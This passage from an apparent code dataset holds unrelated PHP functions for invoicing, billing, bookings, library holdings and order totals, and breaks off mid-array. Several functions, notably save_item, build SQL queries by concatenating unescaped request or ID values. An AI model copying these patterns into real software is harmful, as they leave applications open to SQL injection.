($myrowprop=DB_fetch_array($resultpropertyes)){\n\t\t\t\t$traba=explode(\" \",$myrowprop['val']);\n\t\t\t\t$trab=$traba[0];\n\t\t\t\tif ($xt==0){\n\t\t\t\t\t\t\n\t\t\t\t\t$descrprop=$descrprop.' '.$myrowprop['label'].':'.$trab;\n\t\t\t\t}else{\n\t\t\t\t\t$descrprop=$descrprop.\" , \".$myrowprop['label'].':'.$trab;\n\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t$xt=$xt+1;\n\t\t\t}\n\t\t\t$descrprop=$descrprop.\" )\";\n\t\t\tif ($xt==0){//\n\t\t\t\t$descrprop=\"\";\n\t\t\t}\n\t\t\tif($myrow2['MensajePV'] <> \"\"){\n\t\t\t\t$descrprop = $descrprop.$myrow2['MensajePV'];\n\t\t\t}\n\t\t\t$descrnarrative=\"\";\n\t\t\t/*$sqlnarrative=\"SELECT narrative\n\t\t\t FROM salesorderdetails p\n\t\t\tWHERE p.orderno=\" . $orderno . \"\n\t\t\tAND p.stkcode='\" . $stockid . \"'\";\n\t\t\t$resultnarrative=DB_query($sqlnarrative,$db);\n\t\t\twhile ($myrownarrative=DB_fetch_array($resultnarrative)){\n\t\t\t$descrnarrative=$myrownarrative['narrative'];\n\t\t\t$descrnarrative=str_replace('|', '', $descrnarrative);\n\t\t\t}*/\n\n\t\t\t$descrnarrative=str_replace('\\r','',str_replace('\\n','',$myrow2['narrative']));\n\t\t\t$descrnarrative=str_replace('|', '', $descrnarrative);\n\n\t\t\tif (strlen($descrnarrative)==0){\n\t\t\t\t$descrnarrative=\"\";\n\t\t\t}\n\t\t\tif($myrow2['showdescription']==1){\n\t\t\t\t$stockdescripuno=$stockdescrip.$descrprop.$descrnarrative.$numberserie;\n\t\t\t}else{\n\t\t\t\tif (strlen($descrnarrative)==0){\n\t\t\t\t\t$stockdescripuno=$stockdescrip.$descrprop.$descrnarrative.$numberserie;\n\t\t\t\t}else{\n\t\t\t\t\t$stockdescripuno=$descrnarrative;\n\t\t\t\t\t\t\n\t\t\t\t}\n\t\t\t}\n\t\t\t$charelectronicdetail=$charelectronicdetail.'|'.$stockdescripuno;\n\t\t\t$stockprecio=FormatNumberERP($myrow2['fxprice']);\n\t\t\t$charelectronicdetail=$charelectronicdetail.'|'.$stockprecio;\n\t\t\t$stockneto=FormatNumberERP($myrow2['fxnet']);\n\t\t\t$charelectronicdetail=$charelectronicdetail.'|'.$stockneto;\n\t\t\t$stockunits=$myrow2['units'];\n\t\t\t$charelectronicdetail=$charelectronicdetail.'|'.$stockunits;\n\t\t\t$stockcat=$myrow2['categoryid'];\n\t\t\t$charelectronicdetail=$charelectronicdetail.'|'.$stockcat;\n\t\t\t$ordencompra=\"\";\n\t\t\t$charelectronicdetail=$charelectronicdetail.'|'.$ordencompra;\n\t\t\t// descuentos\n\t\t\t$discount1=FormatNumberERP($myrow2['discountpercent']*100);\n\t\t\t$charelectronicdetail=$charelectronicdetail.'|'.$discount1;\n\t\t\t$discount2=FormatNumberERP($myrow2['discountpercent1']*100);\n\t\t\t$charelectronicdetail=$charelectronicdetail.'|'.$discount2;\n\t\t\t$discount3=FormatNumberERP($myrow2['discountpercent2']*100);\n\t\t\t$charelectronicdetail=$charelectronicdetail.'|'.$discount3;\n\t\t\t//subtotal\n\t\t\t//$subtotal=number_format($myrow2['subtotal'],2,'.','');\n\t\t\t//$charelectronicdetail=$charelectronicdetail.'|'.$subtotal;\n\t\t\t// consulta de aduana\n\t\t\t$stkmoveno=$myrow2['stkmoveno'];\n\t\t\t$almacen=$myrow2['almacen'];\n\t\t\t\t\n\t\t\t$sqlstockmovestaxes=\"SELECT stkmoveno,taxauthid,taxrate,taxcalculationorder,taxontax,taxauthorities.description\n\t\t\t\t\t FROM stockmovestaxes,taxauthorities\n\t\t\t\t\t WHERE taxauthorities.taxid=stockmovestaxes.taxauthid\n\t\t\t\t\t\t AND stkmoveno=\".$stkmoveno;\n\t\t\t$resultstockmovestaxes=DB_query($sqlstockmovestaxes,$db);\n\t\t\twhile ($myrow3=DB_fetch_array($resultstockmovestaxes)){\n\t\t\t\t$impuesto=$myrow3['description'];\n\t\t\t\t$charelectronictaxs=$charelectronictaxs.$charelectronictaxsini.'|'.$impuesto;\n\t\t\t\t$taxrate=FormatNumberERP($myrow3['taxrate']*100);\n\t\t\t\t$charelectronictaxs=$charelectronictaxs.'|'.$taxrate;\n\t\t\t\t$taxratetotal=FormatNumberERP($myrow3['taxrate']*($myrow2['subtotal']));\n\t\t\t\t//$taxtotalratex=$myrow3['taxrate']*($myrow2['fxnet']*$myrow2['fxprice']);\n\t\t\t\t$taxtotalratex=$myrow3['taxrate']*($myrow2['subtotal']);\n\t\t\t\t$charelectronictaxs=$charelectronictaxs.'|'.$taxratetotal;\n\t\t\t}\n\t\t\t\t\n\t\t\t$subtotal=FormatNumberERP($myrow2['subtotal']);\n\t\t\t$charelectronicdetail=$charelectronicdetail.'|'.$subtotal;\n\t\t\t$subtotal=FormatNumberERP($myrow2['subtotal']);\n\t\t\t$charelectronicdetail=$charelectronicdetail.'|'.$subtotal;\n\t\t\t\t\n\t\t\t\t\n\t\t\t$sqladuana=\"SELECT stockserialitems.customs as aduana,customs_number as noaduana,\n\t\t\t\t\tpedimento, DATE_FORMAT(customs_date,'%Y-%m-%d') as fechaaduana\n\t\t\t\t FROM stockserialmoves , stockmoves , stockserialitems\n\t\t\t\t WHERE stockmoves.stkmoveno=stockserialmoves.stockmoveno\n\t\t\t\t\tAND stockserialmoves.stockid=stockserialitems.stockid\n\t\t\t\t\tAND stockserialmoves.serialno=stockserialitems.serialno\n\t\t\t\t\tAND stockserialitems.loccode='\".$almacen.\"'\n\t\t\t\t\tAND stockmoves.stkmoveno=\".$stkmoveno.\"\n\t\t\t\t\tAND stockmoves.stockid='\".$stockid.\"'\";\n\t\t\t$Result= DB_query($sqladuana,$db);\n\t\t\tif (DB_num_rows($Result)==0) {\n\t\t\t\t$nameaduana=\"\";\n\t\t\t\t$numberaduana=\"\";\n\t\t\t\t$fechaaduana=\"\";\n\t\t\t}else{\n\t\t\t\t$myrowaduana = DB_fetch_array($Result);\n\t\t\t\t$aduana=$myrowaduana['aduana'];\n\t\t\t\t$separaaduana=explode(\"|\",$aduana);\n\t\t\t\t$nameaduana = $separaaduana[0];\n\t\t\t\t$numberaduana= $separaaduana[1];\n\t\t\t\t$fechaaduana= $separaaduana[2];\n\t\t\t\tif (strlen($nameaduana)==0 or strlen($numberaduana)==0 /*or !Is_Date($fechaaduana)*/){\n\t\t\t\t\t$nameaduana=\"\";\n\t\t\t\t\t$numberaduana=\"\";\n\t\t\t\t\t$fechaaduana=\"\";\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t$charelectronicdetail=$charelectronicdetail.'|'.$nameaduana;\n\t\t\t$charelectronicdetail=$charelectronicdetail.'|'.$numberaduana;\n\t\t\t$charelectronicdetail=$charelectronicdetail.'|'.$fechaaduana;\n\t\t}\n\t}\n\t// ivas retenidos\n\t$charelectronictaxsret='|'.chr(13).chr(10);//.'07|ISR|0.00';\n\tif ($rfccliente==\"XAXX010101000\"){\n\t\t$cadenaenvio=$charelectronic.$charelectronicdetail.$charelectronictaxsret.$charelectronicEmbarque;\n\t\t$cadenaenviada=retornarString($cadenaenvio);\n\t}else{\n\t\t$cadenaenvio=$charelectronic.$charelectronicdetail.$charelectronictaxs.$charelectronictaxsret.$charelectronicEmbarque;\n\t\t$cadenaenviada=retornarString($cadenaenvio);\n\n\t}\n\t//echo '<pre><br>'.$cadenaenviada;\n\treturn $cadenaenviada;\n}", "function GenrateBill($id = array(),$vid = array(),$ketObj ){\n$where = \" where kord.id = \".$id.\"\";\n$BillInfo= $ketObj->runquery( \"SELECT\", \"kord.same_productdetails,kord.mobile,kord.order_time_stamp,kord.shipping_value,kord.oaddress,kord.grossamount,kord.discount,kord.finalamount,kord.payment,kord.dis_type,kord.dis_method,kord.dis_value,kord.coupon_code,kord.tqty,ku.uname\", \"ketechord_\".$vid.\" kord INNER JOIN ketechuser ku ON ku.id = kord.userid\", array(),$where );\n\n$arrayPD = json_decode($BillInfo['0']['same_productdetails'],true);\n/*echo \"<pre>\";\nprint_r( $arrayPD );\ndie();*/\n\nif( $BillInfo['0']['dis_method'] == \"instant\" ){ \n\t\t\t\t\t\t\t$discount = $BillInfo['0']['dis_value'];\n\t\t\t\t\t }else{\n\t\t\t\t\t \t\t$discount = \"0\";\n\t\t\t\t\t }\n$finalamount = \t$BillInfo['0']['grossamount'] + $BillInfo['0']['shipping_value'] - $discount;\t\t\t\t \n\n$pdfBill = \"<table width=\\\"70%\\\">\n\t<thead>\n\t\t<th align=\\\"right\\\">\n\t\t\tBill Information\n\t\t</th>\n\t</thead>\t\n\t\n\t<tbody>\n\t\t<tr>\n\t\t\t<td><table width = \\\"100%\\\">\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>\n\t\t\t\t\t\t\tNAME\n\t\t\t\t\t\t</td>\n\t\t\t\t\t\t<td>\n\t\t\t\t\t\t\t\".$BillInfo['0']['uname'].\"\n\t\t\t\t\t\t</td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t\n\t\t\t\t\t<tr>\n\t\t\t<td>\n\t\t\t\tADDRESS\n\t\t\t</td>\n\t\t\t<td>\n\t\t\t\t\".$BillInfo['0']['oaddress'].\"\n\t\t\t</td>\n\t\t</tr>\n\t\t\n\t\t<!--<tr>\n\t\t\t<td>\n\t\t\t\tShipping \n\t\t\t</td>\n\t\t\t<td>\n\t\t\t\t\".$BillInfo['0']['shipping_value'].\"\n\t\t\t</td>\n\t\t</tr>-->\n\t\t\n\t\t<tr>\n\t\t\t<td>\n\t\t\t\tOrder Date\n\t\t\t</td>\n\t\t\t<td>\n\t\t\t\t\".$BillInfo['0']['order_time_stamp'].\"\n\t\t</tr>\n\t\t\t</table>\n\t\t\t</td>\n\t\t\t\n\t\t\t<td><table width = \\\"100%\\\">\n\t\t\t\t<tr>\n\t\t\t\t\t<td>\n\t\t\t\t\t\tCompany Name:\n\t\t\t\t\t</td>\n\t\t\t\t\t<td>\n\t\t\t\t\t\tMYCHIRAAG\n\t\t\t\t\t</td>\n\t\t\t\t</tr>\n\t\t\t\t<tr>\n\t\t\t\t\t<td>\n\t\t\t\t\t\tAddress:\n\t\t\t\t\t</td>\n\t\t\t\t\t<td>\n\t\t\t\t\t\tMYCHIRAAG Address\n\t\t\t\t\t</td>\n\t\t\t </tr>\n\t\t\t\t\n\t\t\t\t</table>\n\t\t\t</td>\n\t\t</tr>\n\t\t\n\t</tbody>\n</table>\n\n<table border=\\\"1\\\" style = \\\"border-collapse:collapse;width:70%\\\">\n\t<thead>\n\t\t<tr>\t\n\t\t\t<th>\n\t\t\t\tProduct Name\n\t\t\t</th>\n\t\t\t<!--<th>\n\t\t\t\t Category\n\t\t\t</th>-->\n\t\t\t<!--<th>\n\t\t\t\tBase Price\n\t\t\t</th>-->\n\t\t\t\n\t\t\t<th>\n\t\t\t\tSell Price\n\t\t\t</th>\n\t\t\t\n\t\t\t<th>\n\t\t\t\tQty\n\t\t\t\t\n\t\t\t</th>\n\t\t\t<th>\n\t\t\t\tTotal\n\t\t\t</th>\n\t\t\t\n\t\t</tr>\t\n\t</thead>\n\t\n\t<tbody>\";\n\t\n\t$tmphold_first = \"\";\n\t\t\t\tforeach( $arrayPD['0'] as $arrayPDV ) {\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t$singlePtotal = $arrayPDV['quantity']*$arrayPDV['saleprice'];\n\t\t\n\t\t$tmphold_first .= \"<tr>\n\t\t\t\t<td>\n\t\t\t\t\t \".$arrayPDV['name'].\" \n\t\t\t\t</td>\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t<td>\n\t\t\t\t\t\".$arrayPDV['saleprice'].\" \n\t\t\t\t</td>\n\t\t\t\t\n\t\t\t\t<td>\n\t\t\t\t\t \".$arrayPDV['quantity'].\" \n\t\t\t\t</td>\n\t\t\t\t\n\t\t\t\t<td>\n\t\t\t\t\t\".$singlePtotal.\"\n\t\t\t\t</td>\n\t\t</tr>\";\n\t\t\n\t\t\n\t\t\t\t\n\t\t\n}\n\t\t\n\t\t\n\t\t$tmphold_second = \"<tr>\n\t\t\t<td colspan=\\\"3\\\" align=\\\"right\\\">\n\t\t\t\tTotal\n\t\t\t</td>\n\t\t\t<td>\n\t\t\t\t \".$BillInfo['0']['grossamount'].\"\n\t\t\t</td>\n\t\t</tr>\n\t\t<tr>\n\t\t\t<td colspan=\\\"3\\\" align=\\\"right\\\">\n\t\t\t\tDiscount\n\t\t\t</td>\n\t\t\t<td>\n\t\t\t\t\n\t\t\t\t\".$discount.\"\n\t\t\t</td>\n\t\t</tr>\n\t\t\n\t\t<tr>\n\t\t\t<td colspan=\\\"3\\\" align=\\\"right\\\">\n\t\t\t\tShipping\n\t\t\t</td>\n\t\t\t<td>\n\t\t\t\t\".$BillInfo['0']['shipping_value'].\"\n\t\t\t</td>\n\t\t</tr>\n\t\t<tr>\n\t\t\t<td colspan=\\\"3\\\" align=\\\"right\\\">\n\t\t\t\tPayable\n\t\t\t</td>\n\t\t\t<td>\n\t\t\t\t\".$finalamount.\"\n\t\t\t</td>\n\t\t</tr>\t\t\t\n\t\t\t\n\t\t\n\t\t\n\t</tbody>\t\n\n</table>\";\n\nreturn $pdfBill.\"\".$tmphold_first.\"\".\"\".$tmphold_second;\n}", "public function testUpdateSuperfund()\n {\n }", "function pewc_set_product_weight_meta( $cart_item_data, $item, $group_id, $field_id, $value ) {\n\n\t$item_weight = ! empty( $cart_item_data['product_extras']['weight'] ) ? $cart_item_data['product_extras']['weight'] : 0;\n\tif( $item['field_type'] == 'calculation' && ( ! empty( $item['formula_action'] ) && $item['formula_action'] == 'weight' ) ) {\n\t\t$cart_item_data['product_extras']['weight'] = $item_weight + $value;\n\t}\n\n\treturn $cart_item_data;\n\n}", "function save_item() {\n\n validate_submitted_data(array(\n \"id\" => \"numeric\",\n \"invoice_id\" => \"required|numeric\"\n ));\n\n $invoice_id = $this->input->post('invoice_id');\n\n $id = $this->input->post('id');\n $rate = unformat_currency($this->input->post('invoice_item_rate'));\n $quantity = unformat_currency($this->input->post('invoice_item_quantity'));\n $desc=$this->input->post('invoice_item_title');\n $get_id_item=$this->db->query('select * from master_items where title=\"'.$desc.'\" AND deleted=0')->row();\n //echo $this->db->last_query();exit();\n\n $invoice_item_data = array(\n \"fid_invoices\" => $invoice_id,\n \"title\" => $this->input->post('invoice_item_title'),\n \"description\" => $this->input->post('description'),\n \"category\" => $this->input->post('category'),\n \"quantity\" => $quantity,\n \"unit_type\" => $this->input->post('unit_type'),\n \"fid_items\" => $get_id_item->id,\n \"basic_price\" => unformat_currency($this->input->post('invoice_item_basic'))* $quantity,\n \"rate\" => unformat_currency($this->input->post('invoice_item_rate')),\n\n \"total\" => $rate * $quantity,\n );\n\n $invoice_item_id = $this->Sales_InvoicesItems_model->save($invoice_item_data, $id);\n if ($invoice_item_id) {\n\n //check if the add_new_item flag is on, if so, add the item to libary. \n $add_new_item_to_library = $this->input->post('add_new_item_to_library');\n if ($add_new_item_to_library) {\n $library_item_data = array(\n \"title\" => $this->input->post('invoice_item_title'),\n \"category\" => $this->input->post('category'),\n \"unit_type\" => $this->input->post('unit_type'),\n \"rate\" => unformat_currency($this->input->post('invoice_item_rate'))\n );\n $this->Master_Items_model->save($library_item_data);\n\n }\n\n $options = array(\"id\" => $invoice_item_id);\n $item_info = $this->Sales_InvoicesItems_model->get_details($options)->row();\n $pajak = 0;\n $invoice_sql = \"SELECT sales_invoices.*, tax_table.percentage AS tax_percentage, tax_table.title AS tax_name\n FROM sales_invoices\n LEFT JOIN (SELECT taxes.* FROM taxes) AS tax_table ON tax_table.id = sales_invoices.fid_tax\n WHERE sales_invoices.deleted=0 AND sales_invoices.id='$invoice_id'\";\n $invoice = $this->db->query($invoice_sql)->row();\n\n $item = $this->db->query(\"SELECT sum(total) as total from sales_invoices_items WHERE fid_invoices = '$invoice_id'\")->row();\n $pajak = $item->total * ($invoice->tax_percentage / 100);\n $query = array(\"amount\" => $item->total + $pajak, \"sub_total\" => $item->total,'ppn' => $pajak);\n $exe = $this->Sales_Invoices_model->save($query,$invoice_id); \n echo json_encode(array(\"success\" => true, \"invoice_id\" => $item_info->fid_invoices, \"data\" => $this->_make_item_row($item_info), \"invoice_total_view\" => $this->_get_invoice_total_view($item_info->fid_invoices), 'id' => $invoice_item_id, 'message' => lang('record_saved')));\n } else {\n echo json_encode(array(\"success\" => false, 'message' => lang('error_occurred')));\n }\n }", "public static function book($cltId, $cltName, $phone, $tipId, $srvId, $ctrId, $date, $time, $dura,\n $type, $price, $curr, $disc, $fact, $qty, $total, $masterId, $matresId, $descr, $cmpCltId, $cmpMsgId = null)\n {//insert into com_srv_book\n //(client_id,centre_id,master_id,matres_id,srv_id,tip_id,book_date,book_time,book_dura,book_type_id,total)\n // values (46,1141,,,14623,14367,'2015-07-15',690,,B,10\n $capacity = self::getCapacity($ctrId, $srvId);\n //echo \"Here $capacity<be>\\n\";\n if ($capacity)\n {\n $bookCount = self::bookCount($date, $time, $dura);\n $left = $capacity - ($bookCount + $qty);\n if ($left < 0)\n return $left; // Negative result means overbooking\n }\n if ($cmpMsgId)\n {\n $cmpClt = WDsc::createCmpClt($cltId, null, $cmpMsgId, $price);\n $cmpCltId = $cmpClt['cmp_clnt_id'];\n }\n if ($ctrId == WCentre::id())\n {\n $taxPrc = WCentre::taxPrc();\n $comPrc = WCentre::comPrc();\n }\n else\n {\n $ctrData = DB::getDB()->queryPairs(WCentre::TABLE_CENTRE, 'tax_prc,com_prc', 'id=' . $ctrId);\n $taxPrc = Util::intval($ctrData['tax_prc']);\n $comPrc = Util::intval($ctrData['com_prc']);\n }\n $values = array\n (\n 'creator_id' => DB::int(WClient::id()),\n 'domain_id' => DB::intn(WDomain::id()),\n 'home' => DB::str(Base::home()),\n 'client_id' => DB::intn($cltId),\n 'client_name' => DB::str($cltName),\n 'phone' => DB::str($phone),\n 'number' => DB::strn(Util::pureNumber($phone)),\n 'centre_id' => DB::intn($ctrId),\n 'master_id' => DB::intn($masterId),\n 'matres_id' => DB::intn($matresId),\n 'srv_id' => DB::intn($srvId),\n 'tip_id' => DB::intn($tipId),\n 'currency_id' => DB::str($curr),\n 'book_date' => DB::daten($date),\n 'book_time' => DB::intn($time),\n 'book_dura' => DB::intn($dura),\n 'book_type_id' => DB::strn($type),\n 'price' => DB::money($price),\n 'disc' => DB::intn($disc),\n 'fact' => DB::money($fact),\n 'qty' => DB::intn($qty),\n 'total' => DB::money($total),\n 'ctr_tax_prc' => max(array(0, min(array(99, intval($taxPrc))))),\n 'ctr_com_prc' => max(array(0, min(array(99, intval($comPrc))))),\n 'descr' => DB::str($descr),\n 'cmp_clnt_id' => DB::intn($cmpCltId)\n );\n if ($type == 'B')\n {\n $values['status'] = DB::str('a');\n }\n if (WDomain::local())\n {\n $values['status'] = DB::str('a');\n $values['answered'] = 'current_timestamp';\n }\n //exit(print_r($values, true));\n $db = DB::getAdminDB();\n if (!$db->insertValues(WPurchase::TABLE_BOOK, $values))\n return null;\n return $db->insert_id;\n }", "public function item_status($bnum) {\n\n $iii_server_info = self::iii_server_info();\n $avail_token = locum::csv_parser($this->locum_config['iii_custom_config']['iii_available_token']);\n $default_age = $this->locum_config['iii_custom_config']['default_age'];\n $default_branch = $this->locum_config['iii_custom_config']['default_branch'];\n $loc_codes_flipped = array_flip($this->locum_config['iii_location_codes']);\n $bnum = trim($bnum);\n\n // Grab Hold Numbers\n $url = $iii_server_info['nosslurl'] . '/search~24/.b' . $bnum . '/.b' . $bnum . '/1,1,1,B/marc~' . $bnum . '&FF=&1,0,';\n $hold_page_raw = utf8_encode(file_get_contents($url));\n\n // Reserves Regex\n $regex_r = '/(?<hold_num>\\d+) hold/';\n preg_match($regex_r, $hold_page_raw, $match_r);\n $avail_array['holds'] = $match_r['hold_num'] ? $match_r['hold_num'] : 0;\n\n // Order Entry Regex\n $avail_array['on_order'] = 0;\n $regex_o = '%bibOrderEntry(.*?)td(.*?)>(.*?)<%s';\n preg_match_all($regex_o, $hold_page_raw, $match_o);\n foreach($match_o[3] as $order) {\n $order_txt = trim($order);\n preg_match('%^(.*?)cop%s', $order_txt, $order_count);\n $avail_array['on_order'] = $avail_array['on_order'] + (int) trim($order_count[1]);\n $avail_array['orders'][] = $order_txt;\n }\n\n $url = $iii_server_info['nosslurl'] . '/search~24/.b' . $bnum . '/.b' . $bnum . '/1,1,1,B/holdings~' . $bnum . '&FF=&1,0,';\n $avail_page_raw = utf8_encode(file_get_contents($url));\n\n // Holdings Regex\n $regex_h = '%field 1 -->&nbsp;(.*?)</td>(.*?)browse\">(.*?)</a>(.*?)field \\% -->&nbsp;(.*?)</td>%s';\n preg_match_all($regex_h, $avail_page_raw, $matches);\n\n foreach ($matches[1] as $i => $location) {\n // put the item details in the array\n $location = trim($location);\n $loc_code = $loc_codes_flipped[$location];\n $call = str_replace(\"'\", \"&apos;\", trim($matches[3][$i]));\n $status = trim($matches[5][$i]);\n $age = $default_age;\n $branch = $default_branch;\n\n if (in_array($status, $avail_token)) {\n $avail = 1;\n $due_date = 0;\n } else {\n $avail = 0;\n if (preg_match('/DUE/i', $status)) {\n $due_arr = explode(' ', trim($status));\n $due_date_arr = explode('-', $due_arr[1]);\n $due_date = mktime(0, 0, 0, $due_date_arr[0], $due_date_arr[1], (2000 + (int) $due_date_arr[2]));\n } else if(preg_match('/LIB USE ONLY/i', $status)) {\n $due_date = 0;\n $libuse = 1;\n } else {\n $due_date = 0;\n }\n }\n\n // Determine age from location\n if (count($this->locum_config['iii_record_ages'])) {\n foreach ($this->locum_config['iii_record_ages'] as $item_age => $match_crit) {\n if (preg_match('/^\\//', $match_crit)) {\n if (preg_match($match_crit, $loc_code)) { $age = $item_age; }\n } else {\n if (in_array($loc_code, locum::csv_parser($match_crit))) { $age = $item_age; }\n }\n }\n }\n\n // Determine branch from location\n if (count($this->locum_config['branch_assignments'])) {\n foreach ($this->locum_config['branch_assignments'] as $branch_code => $match_crit) {\n if (preg_match('/^\\//', $match_crit)) {\n if (preg_match($match_crit, $loc_code)) { $branch = $branch_code; }\n } else {\n if (in_array($loc_code, locum::csv_parser($match_crit))) { $branch = $branch_code; }\n }\n }\n }\n\n $avail_array['items'][] = array(\n 'location' => $location,\n 'loc_code' => $loc_code,\n 'callnum' => $call,\n 'statusmsg' => $status,\n 'due' => $due_date,\n 'avail' => $avail,\n 'age' => $age,\n 'branch' => $branch,\n 'libuse' => $libuse,\n );\n }\n\n return $avail_array;\n\n }", "function __lineItemTotal($qty, $price, $rate) {\n\n\n\n\n\n\n\n// if ($curency_id == 2)\n// $currency = 1;\n//\n// if ($curency_id == 1)\n// $currency = 4.17;\n//\n// if ($curency_id == 3)\n// $currency = 4.50;\n\n\n\n $line_total = $qty * $price * $rate;\n\n //$line_total = $line_total + (($line_total * $taxRate) / 100);\n\n\n\n return $line_total;\n }", "function _updateItemAfterPurchase($data, $type = null)\r\n\t{\r\n\t\t$conditions = $item_user_conditions = $updation = array();\r\n\t\t$conditions['Item.id'] = $data['item_id'];\r\n\t\t// Getting Purchased & Commission Amounts //\r\n\t\t$item = $this->find('first', array(\r\n\t\t\t'conditions' => $conditions,\r\n\t\t\t'fields' => array(\r\n\t\t\t\t'Item.bonus_amount',\r\n\t\t\t\t'Item.commission_percentage',\r\n\t\t\t) ,\r\n\t\t\t'recursive' => -1\r\n\t\t));\r\n\t\t$items = $this->ItemUser->find('all', array(\r\n\t\t\t'conditions' => array(\r\n\t\t\t\t'ItemUser.item_id' => $data['item_id'],\r\n\t\t\t\t'ItemUser.is_repaid' => 0,\r\n\t\t\t\t'ItemUser.is_canceled' => 0,\r\n\t\t\t) ,\r\n\t\t\t'fields' => array(\r\n\t\t\t\t'SUM(ItemUser.discount_amount) as total_purchased_amount',\r\n\t\t\t) ,\r\n\t\t\t'recursive' => -1\r\n\t\t));\r\n\t\t$items[0][0]['total_commission_amount'] = $item['Item']['bonus_amount'] + ($items[0][0]['total_purchased_amount'] * ($item['Item']['commission_percentage']/100));\r\n\t\t// Getting Charity //\r\n\t\t$item_user_conditions = array(\r\n\t\t\t'ItemUser.is_repaid' => 0,\r\n\t\t\t'ItemUser.is_canceled' => 0\r\n\t\t);\r\n\t\t$item_user_conditions['ItemUser.item_id'] = $data['item_id'];\r\n\t\t$item_users = $this->ItemUser->find('all', array(\r\n\t\t\t'conditions' => $item_user_conditions,\r\n\t\t\t'fields' => array(\r\n\t\t\t\t'SUM(ItemUser.charity_paid_amount) as total_charity_amount',\r\n\t\t\t\t'SUM(ItemUser.charity_seller_amount) as seller_charity_amount',\r\n\t\t\t\t'SUM(ItemUser.charity_site_amount) as site_charity_amount',\r\n\t\t\t\t'SUM(ItemUser.affiliate_commission_amount) as total_affiliate_amount',\r\n\t\t\t\t'SUM(ItemUser.referral_commission_amount) as total_referral_amount',\r\n\t\t\t\t'COUNT(ItemUser.id) as item_user_canceled_count',\r\n\t\t\t) ,\r\n\t\t\t'recursive' => -1,\r\n\t\t));\r\n\t\tif (!empty($type) && $type == 'cancel') {\r\n\t\t\t$item_user_conditions = array();\r\n\t\t\t$item_user_conditions['ItemUser.item_id'] = $data['item_id'];\r\n\t\t\t$item_user_conditions['OR'] = array(\r\n\t\t\t\t'ItemUser.is_repaid' => 1,\r\n\t\t\t\t'ItemUser.is_canceled' => 1\r\n\t\t\t);\r\n\t\t\t$item_user_canceled = $this->ItemUser->find('all', array(\r\n\t\t\t\t'conditions' => $item_user_conditions,\r\n\t\t\t\t'fields' => array(\r\n\t\t\t\t\t'SUM(ItemUser.discount_amount) as total_sales_lost_amount',\r\n\t\t\t\t) ,\r\n\t\t\t\t'recursive' => -1,\r\n\t\t\t));\r\n\t\t\t$updation['Item.total_sales_lost_amount'] = (!empty($item_user_canceled[0][0]['total_sales_lost_amount']) ? $item_user_canceled[0][0]['total_sales_lost_amount'] : '0.00');\r\n\t\t\t$updation['Item.item_user_canceled_count'] = (!empty($item_user_canceled[0][0]['item_user_canceled_count']) ? $item_user_canceled[0][0]['item_user_canceled_count'] : '0');\r\n\t\t}\r\n\t\t$update_model = array(\r\n\t\t\t'Item.id' => $data['item_id']\r\n\t\t);\r\n\t\t$updation['Item.total_purchased_amount'] = (!empty($items[0][0]['total_purchased_amount']) ? $items[0][0]['total_purchased_amount'] : '0.00');\r\n\t\t$updation['Item.total_commission_amount'] = (!empty($items[0][0]['total_commission_amount']) ? $items[0][0]['total_commission_amount'] : '0.00');\r\n\t\t$updation['Item.total_charity_amount'] = (!empty($item_users[0][0]['total_charity_amount']) ? $item_users[0][0]['total_charity_amount'] : '0.00');\r\n\t\t$updation['Item.seller_charity_amount'] = (!empty($item_users[0][0]['seller_charity_amount']) ? $item_users[0][0]['seller_charity_amount'] : '0.00');\t\t\r\n\t\t$updation['Item.site_charity_amount'] = (!empty($item_users[0][0]['site_charity_amount']) ? $item_users[0][0]['site_charity_amount'] : '0.00');\t\t\r\n\t\t$updation['Item.total_merchant_earned_amount'] = ($updation['Item.total_purchased_amount'] - ($updation['Item.total_commission_amount'] + $updation['Item.seller_charity_amount']));\r\n\t\t$updation['Item.total_affiliate_amount'] = (!empty($item_users[0][0]['total_affiliate_amount']) ? $item_users[0][0]['total_affiliate_amount'] : '0.00');\r\n\t\t$updation['Item.total_referral_amount'] = (!empty($item_users[0][0]['total_referral_amount']) ? $item_users[0][0]['total_referral_amount'] : '0.00');\r\n\t\tif (!empty($updation) && !empty($update_model)) {\r\n\t\t\t$this->updateAll($updation, $update_model);\r\n\t\t}\r\n\t}", "function generate_order($order,$mysqli){\r\n\r\n $orders = get_items_database($mysqli);\r\n\r\n \r\n $level = ($order->extension_attributes->shipping_assignments);\r\n foreach($level as $i){\r\n $address = $i->shipping->address;\r\n \r\n $adr = $address->street[0];\r\n $postal = $address->postcode;\r\n $city = $address->city;\r\n \r\n }\r\n\r\n \r\n foreach($order->items as $i){ \r\n foreach ($orders as $e){\r\n if ($e[\"code\"] == $i->sku){\r\n //print_r($e[\"code\"] .\" \". $i->sku);\r\n \r\n $ITid = $e[\"item_id\"];\r\n $ITname = $i->name;\r\n $ITcode = $i->sku;\r\n $qty = $i->qty_ordered;\r\n $cena = $i->price_incl_tax;\r\n \r\n \r\n } \r\n }\r\n }\r\n\r\n\r\n\r\n $data = array(\r\n \"OrderId\" => $order->increment_id,\r\n \"ReceivedIssued\" => \"P\",\r\n \"Year\" => 0,\r\n \"Number\" => null,\r\n \"Date\" => date(\"Y-m-d H:i:s\"),\r\n \"Customer\" => array(\r\n \"ID\" => 8451445,\r\n \"Name\" => null,\r\n \"ResourceUrl\" => null\r\n ),\r\n \"CustomerName\" => $order->customer_firstname.\" \". $order->customer_lastname,\r\n \"CustomerAddress\" => $adr,\r\n \"CustomerPostalCode\" => $postal,\r\n \"CustomerCity\" => $city,\r\n\r\n \"CustomerCountry\" => array(\r\n \"ID\" => 192,\r\n \"Name\" => null,\r\n \"ResourceUrl\" => null\r\n ),\r\n \"CustomerCountryName\" => null,\r\n \"Analytic\" => null,\r\n \"DueDate\" => null,\r\n \"Reference\" => $order->entity_id,\r\n \"Currency\" => array(\r\n \"ID\" => 7,\r\n \"Name\" => null,\r\n \"ResourceUrl\" => null\r\n ),\r\n \"Notes\" => null,\r\n \"Document\" => null,\r\n \"DateConfirmed\" => null,\r\n \"DateCompleted\" => null,\r\n \"DateCanceled\" => null,\r\n \"Status\" => null,\r\n \"DescriptionAbove\" => null,\r\n \"DescriptionBelow\" => null,\r\n \"ReportTemplate\" => array(\r\n \"ID\" => null,\r\n \"Name\" => 